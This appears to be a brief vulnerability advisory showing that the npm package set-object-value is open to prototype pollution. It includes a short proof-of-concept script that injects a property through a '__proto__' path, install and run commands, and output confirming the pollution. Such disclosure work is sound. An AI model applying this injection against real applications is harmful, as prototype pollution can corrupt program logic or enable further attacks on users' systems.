set-object-value
is vulnerable to Prototype Pollution
.
// poc.js
var setObjectValue = require("set-object-value")
var obj = {}
console.log("Before : " + {}.polluted);
setObjectValue(obj, ['__proto__','polluted'], 'Yes! Its Polluted');
console.log("After : " + {}.polluted);
npm i set-object-value # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted